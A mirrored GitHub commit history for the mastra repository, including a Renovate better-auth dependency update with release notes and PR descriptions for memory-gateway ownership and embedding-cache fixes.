0
Fork 0
mirror of https://github.com/mastra-ai/mastra.git synced 2026-11-17 08:44:46 +00:00
Commit graph

1,466 commits

Author SHA1 Message Date
dane-ai-mastra[bot]
a5859ee2b9
chore: version packages (alpha) (#30430)
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-11-16 14:09:31 +01:00
Ward Peeters
cd2a326988
fix(libsql): stop background task writes stalling shutdown, and fix backend timing flakes (#30504)
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 13:18:29 +01:00
Dane - AI (Mastra)
a1c11c5b11
chore(deps): update better-auth monorepo to v1.7.22 (#30464)
This PR contains the following updates:

| Package | Type | Update | Change | Pending |
|---|---|---|---|---|
|
[@better-auth/drizzle-adapter@<1.7.7](https://www.better-auth.com/docs/adapters/drizzle)
([source](https://redirect.github.com/better-auth/better-auth/tree/HEAD/packages/drizzle-adapter))
| pnpm-workspace.overrides | patch | [`1.7.18` →
`1.7.22`](https://renovatebot.com/diffs/npm/@better-auth%2fdrizzle-adapter/1.7.18/1.7.22)
| `1.7.25` (+2) |
| [better-auth](https://better-auth.com)
([source](https://redirect.github.com/better-auth/better-auth/tree/HEAD/packages/better-auth))
| pnpm-workspace.overrides | patch | [`^1.7.18` →
`^1.7.22`](https://renovatebot.com/diffs/npm/better-auth/1.7.18/1.7.22)
| `1.7.25` (+2) |
| [better-auth](https://better-auth.com)
([source](https://redirect.github.com/better-auth/better-auth/tree/HEAD/packages/better-auth))
| dependencies | patch | [`^1.7.18` →
`^1.7.22`](https://renovatebot.com/diffs/npm/better-auth/1.7.18/1.7.22)
| `1.7.25` (+2) |

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/9505) for more information.

---

### Release Notes

<details>
<summary>better-auth/better-auth
(@&#8203;better-auth/drizzle-adapter@<1.7.7)</summary>

###
[`v1.7.22`](https://redirect.github.com/better-auth/better-auth/blob/HEAD/packages/drizzle-adapter/CHANGELOG.md#1722)

[Compare
Source](https://redirect.github.com/better-auth/better-auth/compare/v1.7.21...v1.7.22)

##### Patch Changes

-
[#&#8203;12333](https://redirect.github.com/better-auth/better-auth/pull/12333)
[`6536174`](6536174213)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Fix
`getSession` failing with "Failed to get session" when a
`user.additionalFields` entry references a table outside the Better Auth
schema, including with database joins enabled on Drizzle and Prisma.
Join resolution now matches `references.model` against schema keys only.

###
[`v1.7.21`](https://redirect.github.com/better-auth/better-auth/blob/HEAD/packages/drizzle-adapter/CHANGELOG.md#1721)

[Compare
Source](https://redirect.github.com/better-auth/better-auth/compare/v1.7.20...v1.7.21)

###
[`v1.7.20`](https://redirect.github.com/better-auth/better-auth/blob/HEAD/packages/drizzle-adapter/CHANGELOG.md#1720)

[Compare
Source](https://redirect.github.com/better-auth/better-auth/compare/v1.7.19...v1.7.20)

###
[`v1.7.19`](https://redirect.github.com/better-auth/better-auth/blob/HEAD/packages/drizzle-adapter/CHANGELOG.md#1719)

[Compare
Source](https://redirect.github.com/better-auth/better-auth/compare/v1.7.18...v1.7.19)

</details>

<details>
<summary>better-auth/better-auth (better-auth)</summary>

###
[`v1.7.22`](https://redirect.github.com/better-auth/better-auth/blob/HEAD/packages/better-auth/CHANGELOG.md#1722)

[Compare
Source](https://redirect.github.com/better-auth/better-auth/compare/v1.7.21...v1.7.22)

##### Patch Changes

-
[#&#8203;12324](https://redirect.github.com/better-auth/better-auth/pull/12324)
[`80c407b`](80c407b7ca)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Fixed
`ReferenceError: window is not defined` when a client session
subscription is cleaned up after a test environment such as happy-dom
tears down its globals.

-
[#&#8203;12462](https://redirect.github.com/better-auth/better-auth/pull/12462)
[`d32a30a`](d32a30af37)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Fixed
session polling never firing when the runtime's `navigator` does not
report connectivity.

-
[#&#8203;12324](https://redirect.github.com/better-auth/better-auth/pull/12324)
[`80c407b`](80c407b7ca)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Fixed
client session refresh listeners piling up on the server during SSR.

-
[#&#8203;12321](https://redirect.github.com/better-auth/better-auth/pull/12321)
[`946177e`](946177e509)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! -
Revoking your current session with `revokeSession` or `revokeSessions`,
and deleting your account with `deleteUser({ token })`, now expire the
session cookies, so a cached session is no longer returned afterwards.

-
[#&#8203;12459](https://redirect.github.com/better-auth/better-auth/pull/12459)
[`d210421`](d210421a26)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! -
`getSession` no longer leaves an expired session in the request context
after returning `null`.

-
[#&#8203;12331](https://redirect.github.com/better-auth/better-auth/pull/12331)
[`485567e`](485567e2c9)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - OAuth
sign-up rejected by a `user.create.before` hook returning `false` no
longer logs a `TypeError`. It still fails with `unable_to_create_user`.

-
[#&#8203;12334](https://redirect.github.com/better-auth/better-auth/pull/12334)
[`ec3047d`](ec3047da81)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Fixed
`deleteOrganization` clearing the session's active organization when a
`beforeDeleteOrganization` hook rejected the delete. The active
organization is now cleared only after the organization is actually
deleted.

-
[#&#8203;12330](https://redirect.github.com/better-auth/better-auth/pull/12330)
[`d521343`](d521343fc3)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Fix
`deferSessionRefresh` refresh requests failing with 415 in Next.js and
Nuxt, where the bodyless `POST /get-session` reached the handler as an
empty stream without a `Content-Type`.

-
[#&#8203;12451](https://redirect.github.com/better-auth/better-auth/pull/12451)
[`71052af`](71052af880)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - On
Cloudflare Workers, consuming a verification value no longer hangs when
an earlier request for the same identifier ended mid-query. A superseded
code can also no longer be consumed while a newer one is being verified
on a database without transactions.

-
[#&#8203;12448](https://redirect.github.com/better-auth/better-auth/pull/12448)
[`79219b4`](79219b4f8e)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Schema
validation now runs when the auth instance is first used instead of when
it is created, so a module-scope instance on Cloudflare Workers no
longer logs a validation error on every cold start. On every runtime, a
mismatch is no longer logged at startup and is reported by the requests
that fail.

- Updated dependencies
\[[`6536174`](6536174213),
[`262adc0`](262adc0e76),
[`e9d8e59`](e9d8e5977c),
[`79219b4`](79219b4f8e)]:
-
[@&#8203;better-auth/core](https://redirect.github.com/better-auth/core)@1.7.22
-
[@&#8203;better-auth/drizzle-adapter](https://redirect.github.com/better-auth/drizzle-adapter)@1.7.22
-
[@&#8203;better-auth/prisma-adapter](https://redirect.github.com/better-auth/prisma-adapter)@1.7.22
-
[@&#8203;better-auth/telemetry](https://redirect.github.com/better-auth/telemetry)@1.7.22
-
[@&#8203;better-auth/kysely-adapter](https://redirect.github.com/better-auth/kysely-adapter)@1.7.22
-
[@&#8203;better-auth/memory-adapter](https://redirect.github.com/better-auth/memory-adapter)@1.7.22
-
[@&#8203;better-auth/mongo-adapter](https://redirect.github.com/better-auth/mongo-adapter)@1.7.22

###
[`v1.7.21`](https://redirect.github.com/better-auth/better-auth/blob/HEAD/packages/better-auth/CHANGELOG.md#1721)

[Compare
Source](https://redirect.github.com/better-auth/better-auth/compare/v1.7.20...v1.7.21)

##### Patch Changes

-
[#&#8203;12126](https://redirect.github.com/better-auth/better-auth/pull/12126)
[`4739122`](4739122fa6)
Thanks
[@&#8203;hardikguptaofficialgit](https://redirect.github.com/hardikguptaofficialgit)!
- On Prisma with MongoDB, when your id columns use `@db.ObjectId`, magic
link and email OTP sign-in for users with an unverified email no longer
fail with a 500 (`Malformed ObjectID`). SAML sign-in, DPoP-bound OAuth
requests, and `private_key_jwt` client authentication are fixed the same
way, and Sign-In with Ethereum now keeps the email the user supplied
instead of a placeholder. Setups with plain `String` id columns and
other databases are unaffected.

-
[#&#8203;12392](https://redirect.github.com/better-auth/better-auth/pull/12392)
[`a277020`](a277020fa3)
Thanks
[@&#8203;gustavovalverde](https://redirect.github.com/gustavovalverde)!
- Fixed the device approval page showing a valid code as invalid when
the same signed-in user looked it up twice at once, such as under React
Strict Mode in development.

-
[#&#8203;12052](https://redirect.github.com/better-auth/better-auth/pull/12052)
[`1c3410a`](1c3410a5c3)
Thanks
[@&#8203;lakshya-dhariwal](https://redirect.github.com/lakshya-dhariwal)!
- If you set `advanced.backgroundTasks.handler` and your database
adapter runs transactions (the built-in Kysely connection, MongoDB with
`client`, or Prisma or Drizzle with `transaction: true`), email sign-up
now keeps the database writes made while sending the verification email
or running `onExistingUserSignUp`. Before, those writes failed because
the sign-up had already been saved. With `emailOTP({
overrideDefaultEmailVerification: true })`, the code was never stored,
so new users could not verify their email.

Whatever adapter or background handler you use, a sign-up verification
email now goes out after the new user is saved, and
`onExistingUserSignUp`, when a duplicate sign-up triggers it, runs after
the request's database work completes. If `sendVerificationEmail`
throws, the sign-up succeeds and the error is logged; before, the
sign-up failed. To reject a sign-up, use a
`databaseHooks.user.create.before` hook. If `onExistingUserSignUp`
throws, the error is logged and the request still returns the generic
response.

-
[#&#8203;12179](https://redirect.github.com/better-auth/better-auth/pull/12179)
[`9105261`](91052614cb)
Thanks [@&#8203;ghazy2001](https://redirect.github.com/ghazy2001)! -
Generic OAuth providers configured with `discoveryHeaders` now send
those headers when fetching the provider's signing keys from a
`jwks_uri` on the same origin as `discoveryUrl`. Before, the keys
request went out without them. Providers whose key endpoint requires the
headers rejected it, so every ID token failed verification and sign-in
failed. A `jwks_uri` on another origin still gets no headers.

With `discoveryHeaders` set, the discovery request now follows redirects
only within the origin of `discoveryUrl`, so the headers no longer reach
another host. If your `discoveryUrl` redirects to another origin,
discovery now fails and Better Auth logs an error. Set `discoveryUrl` to
the final URL. Providers without `discoveryHeaders` are unaffected.

-
[#&#8203;12401](https://redirect.github.com/better-auth/better-auth/pull/12401)
[`c3a94c5`](c3a94c546a)
Thanks
[@&#8203;gustavovalverde](https://redirect.github.com/gustavovalverde)!
- Generic OAuth providers configured with `authorizationHeaders` now
send those headers when refreshing an access token, not only when
exchanging the authorization code. Before, a provider whose token
endpoint requires one of those headers accepted the sign-in but rejected
every refresh. Providers without `authorizationHeaders` are unaffected.

`refreshAccessToken` and `refreshAccessTokenRequest` from
`@better-auth/core/oauth2` accept an optional `headers` input for
providers that need extra headers on refresh. Client authentication
headers still take precedence over it.

Extra headers whose names differ only in case from a client
authentication header, such as `Authorization` with `authentication:
"basic"`, no longer produce a combined, invalid header on the code
exchange or refresh. Client authentication replaces them, including
headers a custom `tokenEndpointAuth` hook sets in any casing.

-
[#&#8203;12404](https://redirect.github.com/better-auth/better-auth/pull/12404)
[`9b40ac6`](9b40ac62af)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Plugin
packages no longer import from the `better-auth` root, so bundlers that
split code stop emitting unused Kysely chunks when used with
`better-auth/minimal`.

-
[#&#8203;12395](https://redirect.github.com/better-auth/better-auth/pull/12395)
[`b0ced9d`](b0ced9d257)
Thanks
[@&#8203;gustavovalverde](https://redirect.github.com/gustavovalverde)!
- On Cloudflare Workers, sign-ins with a `genericOAuth` provider that
uses `discoveryUrl`, and OAuth provider requests that use a configured
resource (`resources`), no longer hang. An auth instance created at
module scope retries discovery and resource seeding on later requests.
Previously, if the request running that retry ended first, every later
request that needed it waited forever. Each request now retries on its
own until one succeeds.

On other runtimes, concurrent requests may send a few more discovery
requests or resource lookups while the identity provider or database is
unreachable.

-
[#&#8203;11912](https://redirect.github.com/better-auth/better-auth/pull/11912)
[`5c12074`](5c120747e4)
Thanks
[@&#8203;gustavovalverde](https://redirect.github.com/gustavovalverde)!
- If you use PostgreSQL and other schemas in the same database are
dropped while Better Auth reads the database, for example one schema per
tenant or parallel test runs, the startup schema check and `npx
auth@latest migrate` no longer fail intermittently with `schema "…" does
not exist` or `relation "…" does not exist`. The startup schema check
now reads only the schemas on the connection's `search_path`, plus any
schema set with `schemaName` or a schema plugin, and `migrate` reads
only the schema it migrates. Before, both read every schema in the
database. If no other schemas change while Better Auth reads the
database, nothing changes for you.

-
[#&#8203;12403](https://redirect.github.com/better-auth/better-auth/pull/12403)
[`e64f624`](e64f624273)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - SIWE
verification no longer includes the internal error message (for example
a database error) in its 401 response. The original error is now logged
on the server instead.

- Updated dependencies
\[[`4739122`](4739122fa6),
[`c3a94c5`](c3a94c546a),
[`4080630`](40806302bf),
[`5c12074`](5c120747e4),
[`b241ffc`](b241ffc940),
[`57fa843`](57fa8432d8),
[`1a79da5`](1a79da5067),
[`2d10ae7`](2d10ae733e),
[`ef4d4f7`](ef4d4f7dc4)]:
-
[@&#8203;better-auth/core](https://redirect.github.com/better-auth/core)@1.7.21
-
[@&#8203;better-auth/prisma-adapter](https://redirect.github.com/better-auth/prisma-adapter)@1.7.21
-
[@&#8203;better-auth/mongo-adapter](https://redirect.github.com/better-auth/mongo-adapter)@1.7.21
-
[@&#8203;better-auth/kysely-adapter](https://redirect.github.com/better-auth/kysely-adapter)@1.7.21
-
[@&#8203;better-auth/telemetry](https://redirect.github.com/better-auth/telemetry)@1.7.21
-
[@&#8203;better-auth/drizzle-adapter](https://redirect.github.com/better-auth/drizzle-adapter)@1.7.21
-
[@&#8203;better-auth/memory-adapter](https://redirect.github.com/better-auth/memory-adapter)@1.7.21

###
[`v1.7.20`](https://redirect.github.com/better-auth/better-auth/blob/HEAD/packages/better-auth/CHANGELOG.md#1720)

[Compare
Source](https://redirect.github.com/better-auth/better-auth/compare/v1.7.19...v1.7.20)

##### Patch Changes

- Updated dependencies
\[[`a3f50d0`](a3f50d064d),
[`e9b43d7`](e9b43d7149),
[`265629c`](265629cb95),
[`e9b43d7`](e9b43d7149)]:
-
[@&#8203;better-auth/core](https://redirect.github.com/better-auth/core)@1.7.20
-
[@&#8203;better-auth/memory-adapter](https://redirect.github.com/better-auth/memory-adapter)@1.7.20
-
[@&#8203;better-auth/prisma-adapter](https://redirect.github.com/better-auth/prisma-adapter)@1.7.20
-
[@&#8203;better-auth/drizzle-adapter](https://redirect.github.com/better-auth/drizzle-adapter)@1.7.20
-
[@&#8203;better-auth/kysely-adapter](https://redirect.github.com/better-auth/kysely-adapter)@1.7.20
-
[@&#8203;better-auth/mongo-adapter](https://redirect.github.com/better-auth/mongo-adapter)@1.7.20
-
[@&#8203;better-auth/telemetry](https://redirect.github.com/better-auth/telemetry)@1.7.20

###
[`v1.7.19`](https://redirect.github.com/better-auth/better-auth/blob/HEAD/packages/better-auth/CHANGELOG.md#1719)

[Compare
Source](https://redirect.github.com/better-auth/better-auth/compare/v1.7.18...v1.7.19)

##### Patch Changes

-
[#&#8203;12323](https://redirect.github.com/better-auth/better-auth/pull/12323)
[`a10121d`](a10121d33c)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Fixed
the `active-sessions` list in secondary storage being stored without an
expiry when the last remaining session had less than a second left.

-
[#&#8203;12335](https://redirect.github.com/better-auth/better-auth/pull/12335)
[`c41f8ff`](c41f8ff087)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Fixed
`/admin/create-user` leaving a user without a credential account when
the password was rejected (for example by the Have I Been Pwned plugin),
which made retrying with the same email fail with
`USER_ALREADY_EXISTS_USE_ANOTHER_EMAIL`.

-
[#&#8203;12338](https://redirect.github.com/better-auth/better-auth/pull/12338)
[`e786566`](e786566dc5)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Fixed
`/admin/create-user` leaving a user without a credential account when
creating that account failed, which made retrying with the same email
fail with `USER_ALREADY_EXISTS_USE_ANOTHER_EMAIL`.

-
[#&#8203;12336](https://redirect.github.com/better-auth/better-auth/pull/12336)
[`ac778b7`](ac778b70e9)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Client
actions now send the HTTP method passed in the second-argument fetch
options, the same as when it is nested under `fetchOptions`. Passing a
lowercase `get` or `HEAD` method no longer fails because a request body
was attached.

-
[#&#8203;12246](https://redirect.github.com/better-auth/better-auth/pull/12246)
[`5eb69d8`](5eb69d8371)
Thanks
[@&#8203;AryaKesharwani](https://redirect.github.com/AryaKesharwani)! -
`/device/token` now returns `invalid_client` instead of `invalid_grant`
when `validateClient` rejects the `client_id`, matching `/device/code`
and RFC 6749 section 5.2.

-
[#&#8203;12319](https://redirect.github.com/better-auth/better-auth/pull/12319)
[`4b0327b`](4b0327bfa3)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Plugin
schema overrides (`modelName` and field names) no longer leak into other
instances of the same plugin in one process.

-
[#&#8203;12320](https://redirect.github.com/better-auth/better-auth/pull/12320)
[`2d5ef64`](2d5ef64dae)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Fix
OAuth sign-in failing with `state_mismatch` during the daylight saving
time fall-back hour on servers that do not run in UTC. The stored OAuth
state is no longer created already expired.

-
[#&#8203;12337](https://redirect.github.com/better-auth/better-auth/pull/12337)
[`5f0a0fc`](5f0a0fcef3)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - The
OpenAPI schema now documents query parameters for endpoints whose query
schema is wrapped in `z.optional()`, such as `/get-session` and Stripe's
`/subscription/list`.

-
[#&#8203;12332](https://redirect.github.com/better-auth/better-auth/pull/12332)
[`89e74b8`](89e74b81e5)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Fixed
`organization.getInvitation` returning a missing, expired, or
non-pending invitation error without a `code`. It now returns
`INVITATION_NOT_FOUND` like the other invitation endpoints.

-
[#&#8203;12318](https://redirect.github.com/better-auth/better-auth/pull/12318)
[`525bd7a`](525bd7a7d8)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Fix
`listMembers` failing with a syntax error on PostgreSQL and MSSQL when
the filter or offset matches no members.

-
[#&#8203;12366](https://redirect.github.com/better-auth/better-auth/pull/12366)
[`23a60a3`](23a60a31f4)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Fixed
SIWE sign-in leaving a user behind when creating its wallet address or
account failed, which blocked that wallet from signing in again.

-
[#&#8203;12340](https://redirect.github.com/better-auth/better-auth/pull/12340)
[`29e45f8`](29e45f84d5)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Fixed
social sign-up hanging on single-connection databases when the username
plugin is enabled and the provider profile maps a username.

- Updated dependencies
\[[`8412a5f`](8412a5f43b),
[`34ee100`](34ee1008d8)]:
-
[@&#8203;better-auth/core](https://redirect.github.com/better-auth/core)@1.7.19
-
[@&#8203;better-auth/drizzle-adapter](https://redirect.github.com/better-auth/drizzle-adapter)@1.7.19
-
[@&#8203;better-auth/kysely-adapter](https://redirect.github.com/better-auth/kysely-adapter)@1.7.19
-
[@&#8203;better-auth/memory-adapter](https://redirect.github.com/better-auth/memory-adapter)@1.7.19
-
[@&#8203;better-auth/mongo-adapter](https://redirect.github.com/better-auth/mongo-adapter)@1.7.19
-
[@&#8203;better-auth/prisma-adapter](https://redirect.github.com/better-auth/prisma-adapter)@1.7.19
-
[@&#8203;better-auth/telemetry](https://redirect.github.com/better-auth/telemetry)@1.7.19

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - "before 6am every weekday"
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend Renovate
CLI](https://redirect.github.com/renovatebot/renovate).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4yMzkuMSIsInVwZGF0ZWRJblZlciI6IjQ0LjIzOS4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJhdXRvbWF0aW9uIl19-->

---------

Co-authored-by: github-actions[bot] <github-actions[bot]@users.noreply.github.com>
2026-11-15 17:48:36 -08:00
Tyler Barnes
adc0a70bf8
fix(memory, couchbase): check semantic recall scope in Memory and warn on ignored Couchbase filters (#30446) 2026-11-15 14:29:24 -07:00
Tyler Barnes
d1d736db29
test(memory): pin attachment token counts in the #29851 image test (#30415) 2026-11-15 14:26:54 -07:00
mastra-platform[bot]
c8a35ac624
fix(memory): keep Observational Memory local when the gateway has no memory API (#30414)
> Opened by @abhiaiyer91

> Opened by @factory-project:7d5175c3-3a20-42ac-aba9-756f183136f4

## Summary

Keep Observational Memory local for agents using
`mastra/<provider>/<model>` with gateway organization keys
(`msk-gateway-*` and `mskv2_*`), because those keys do not provide
gateway-managed memory. Gateway project keys (`msk_*`) continue to use
gateway-managed memory. Finish an open local turn before switching to
gateway-managed memory.

Credential ownership checks report local memory only for models that are
not on the Mastra gateway. A credential the gateway cannot resolve —
including one it reports as missing — is thrown instead of read as local
ownership: guessing local ownership can cause both the gateway and local
store to persist the same thread, because the model call resolves the
same credential again. The Observational Memory processor also
propagates ownership-check errors. Older models that cannot report
gateway memory ownership retain their previous behavior.

Docs explain the gateway-key distinction and the paired `@mastra/core`
and `@mastra/memory` upgrade. Project keys routed BYOK or with gateway
memory disabled remain outside this change's scope.

## Verification (head `67ca1ea9c4`)

- Core gateway-memory predicate tests: 11/11; memory gateway ownership
and persistence tests: 14/14.
- Full `@mastra/memory` suite: 119 files, 2,680 passed, 1 todo; core LLM
suite: 45 files, 550 passed, 2 skipped.
- Core and memory TypeScript checks passed.
- Reverting only the two behavior files makes the new regression tests
fail (after `a0a4d3f6`: core 2 failed/8 passed, memory 2 failed/11
passed; after `1981f9ca`: core 2 failed/9 passed, memory 1 failed/13
passed), confirming the tests detect the bug.

Fixes #30391

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

ELI5: Mastra has two kinds of gateway keys. One kind lets the gateway
save chat memory. The other kind does not. This change makes Mastra save
and recall chat messages locally when the gateway does not save them.

## Summary

This change fixes memory loss for agents that use a
`mastra/<provider>/<model>` model. Before this change, `@mastra/memory`
skipped local Observational Memory (OM) and message persistence for
every `mastra/` model. Messages were then not saved, and the agent could
not recall earlier turns.

The change decides gateway memory ownership by key type:

- Gateway project keys (`msk_*`) use gateway-managed memory.
- Gateway organization keys (`msk-gateway-*` and `mskv2_*`) use local
OM.
- Models that cannot report ownership keep their previous behavior.

Gateway-managed memory is not active when a project key routes to a BYOK
provider or when gateway memory is disabled. The docs describe this
distinction.

## Changes by area

**`@mastra/core`**
- `packages/core/src/llm/model/gateways/mastra.ts`: adds
`gatewayServesObservationalMemory(apiKey)`. It returns `false` for
missing, non-string, or empty keys and for `msk-gateway-` and `mskv2_`
keys. It returns `true` only for `msk_` keys.
- `packages/core/src/llm/model/gateways/index.ts`: re-exports
`gatewayServesObservationalMemory`.
- `packages/core/src/llm/model/router.ts`: adds
`ModelRouterLanguageModel.isGatewayMemoryManaged(): Promise<boolean>`.
It returns `false` for non-Mastra gateways. For Mastra gateways, it
resolves the route and auth, then checks the API key.
Credential-resolution errors propagate to the caller.

**`@mastra/memory`**
- `packages/memory/src/processors/observational-memory/processor.ts`:
uses `isGatewayMemoryManaged()` when the model provides it. If the model
does not provide it, the code falls back to the `mastra/` prefix check.
The result is stored per step.
- For gateway-managed input, the processor ends any open local turn and
skips local processing.
- For gateway-managed output, the processor ends any open local turn
before it returns.
- If ending a turn fails, the processor persists the unsaved messages
directly when possible. It then rethrows the original error.
- Context-overflow recovery remains skipped for gateway-managed memory.
- Ownership-check errors propagate. The processor does not treat them as
`false`.

**Documentation and changesets**
- `docs/src/content/en/docs/memory/observational-memory.mdx`: adds a
"Gateway models" section.
- `docs/src/content/en/models/gateways/mastra.mdx`: explains the key and
routing conditions for OM.
- `.changeset/tidy-geese-report.md`: minor bump for `@mastra/core`.
- `.changeset/wild-pumas-recall.md`: patch bump for `@mastra/memory`. It
tells users to upgrade `@mastra/core` and `@mastra/memory` together.
Older `@mastra/core` versions do not report ownership, so
`@mastra/memory` keeps its previous behavior for them.

**Tests**
- `packages/core/src/llm/model/router-gateway-memory.test.ts`: covers
project and organization keys, explicit-key precedence over the
environment key, models served by another gateway, credential lookup
errors, and lookups that fail once and then succeed.
- `packages/memory/src/gateway-memory-persistence.test.ts`: end-to-end
tests with real agent, router, memory, and in-memory storage.
Organization keys store messages and recall them. Project keys store no
messages locally. A failed ownership lookup rejects generation and
stores no assistant text.
-
`packages/memory/src/processors/observational-memory/__tests__/gateway-skip.test.ts`:
covers ownership results, legacy `gatewayId: 'mastra'` behavior,
rejected checks, and ownership changes during a run. It also covers
drain storage failures.

## Compatibility

- The change needs paired `@mastra/core` and `@mastra/memory` releases.
An older `@mastra/core` cannot report gateway memory ownership.
- Models that cannot report ownership keep the previous behavior.

## Testing

The following results are reported by the PR author. They were not
verified in this review, and no CI results were available.

- Core gateway-memory predicate tests: 10 of 10 passing.
- Memory gateway ownership and persistence tests: 13 of 13 passing.
- Full `@mastra/memory` suite: 119 files, 2,679 passed, 1 todo.
- Core LLM suite: 45 files, 549 passed, 2 skipped.
- Core and memory TypeScript checks: passing.
- The author reports that reverting the two behavior files makes the new
regression tests fail.

## Linked issue

Issue `#30391` reports that gateway-model messages are not saved or
recalled. The issue asks that messages be saved and recalled, or that
local processing be skipped only when gateway-side memory is active.
This change follows the second option for organization keys. It keeps
local processing for those keys. It skips local processing only for
project keys that the gateway manages.

The issue also reports a separate 422 error on the OpenAI-compatible URL
workaround. This change does not address that error.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform <284800079+mastra-platform@users.noreply.github.com>
2026-11-15 12:00:06 -08:00
Tyler Barnes
1072f7c626
fix(memory): reuse message embeddings across saves (#30429)
## Summary

Saving messages with semantic recall embeds each message's text and
writes a vector row for it. Since the message write path moved onto the
shared row builder, Memory stopped reusing embeddings for text it had
already embedded. The same text saved again (a repeated reply, a
re-saved message, a cloned thread) went back to the embedder every time:
three saves of the same 50 texts made 150 embedding calls instead of 50.

This restores bounded reuse on the write path without changing how rows
are written:

- Vectors are cached per Memory instance in a bounded LRU, keyed by each
message's exact prepared chunks, so chunk-size limits still apply and a
different chunking is a miss.
- The cache is emptied when the embedder or its options change.
- Failed calls, and responses without exactly one embedding per chunk,
are never kept. Concurrent writes of the same chunks share one call.
- Reused vectors are not counted again in reported embedding usage.
- Only vectors are cached. Every message still gets its own row with its
own id and metadata, so there are no duplicate recall rows.

The memory performance benchmark previously timed recalls without
checking that anything had been indexed, so a writer that skipped
embedding would pass it. It now checks that every message has a vector
row and that each thread's semantic recall returns its own messages
before timing.

## Test plan

- New `semantic-recall-embedding-reuse.test.ts` (10 tests): repeated
text, re-saved ids, usage on reuse, long-text reuse, invalid responses
and changed embedder options fail before this change. Edited text,
failed embeds, embedder swaps and raw-string content are covered as
controls.
- `@mastra/memory` unit suite: 2,689 pass + 1 todo. Typecheck, lint and
format clean.
- Real file-backed LibSQL, 3 saves × 50 messages: repeated text 150 → 50
embedding calls, re-saved ids 150 → 50. Stored rows unchanged (151 / 51
/ 451 for long chunked text). Unique, raw-string and long-text call
counts unchanged.
- LibSQL performance benchmark (2,500 messages, FastEmbed) passes with
the new check. The check fails when vector writes are disabled or recall
returns nothing.
- Local FastEmbed: repeated text ~7.6s → ~2.6s; unique text unchanged.

Ref #29826


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

ELI5: When a message is saved, Memory turns its text into numbers (an
embedding). If the same text was already turned into numbers, this
change reuses them instead of asking the embedding service again. Each
message still gets its own stored row.

## Overview

This change adds a bounded cache of message-chunk embeddings to
`Memory`. The cache applies only to the message-vector write path. The
change also adds checks to the LibSQL performance test, a patch
changeset for `@mastra/memory`, and a new test file.

Diff scope: 4 files changed, 350 lines added, 11 removed.

## Changes

**`packages/memory/src/index.ts`** (+55 / -11)

- Adds `chunkEmbeddingCache`, an LRU cache bounded by
`DEFAULT_EMBEDDING_CACHE_MAX_SIZE`. It holds promises of vectors only.
Keys are a hash of `JSON.stringify(chunks)`.
- Adds `chunkEmbeddingCacheOwner`. It records the embedder and options
that produced the cached vectors.
- Adds `embedMessageChunks(chunks)`, which:
  - Snapshots `this.embedder` and `this.embedderOptions` before hashing.
- Calls `embedValues` with the snapshot and skips the cache if the
embedder or options change during hashing.
- Clears the cache when the owner record differs from the snapshot. The
clear happens at the next miss, not when the embedder changes.
  - Returns cached vectors on a hit. A hit returns no usage data.
- On a miss, calls `embedValues` and stores the pending promise.
Concurrent writes with the same chunks share that promise.
- Evicts the entry when the call fails or returns a number of embeddings
that differs from the number of chunks.
  - Returns usage only for the call that reached the embedder.
- Changes `embedValues` to accept an optional `{ embedder,
embedderOptions }` argument. The default is `this`, so other callers
keep the current behavior.
- Changes the message-vector row builder to call `embedMessageChunks`
instead of `embedValues`. The diff for this file shows no change to the
query or content embedding paths.

**`packages/memory/src/semantic-recall-embedding-reuse.test.ts`** (+267)

- Adds a new test file. It covers reuse across saves, one row per
message on resave, re-embedding of edited or distinct text, usage
counting, non-reuse of failed or mis-sized results, invalidation on
embedder or option change, an embedder change during an in-flight save,
raw-string content, and chunking within the embedder input limit.
- The number of tests in this file is not verified from the diff. The PR
reports 10.


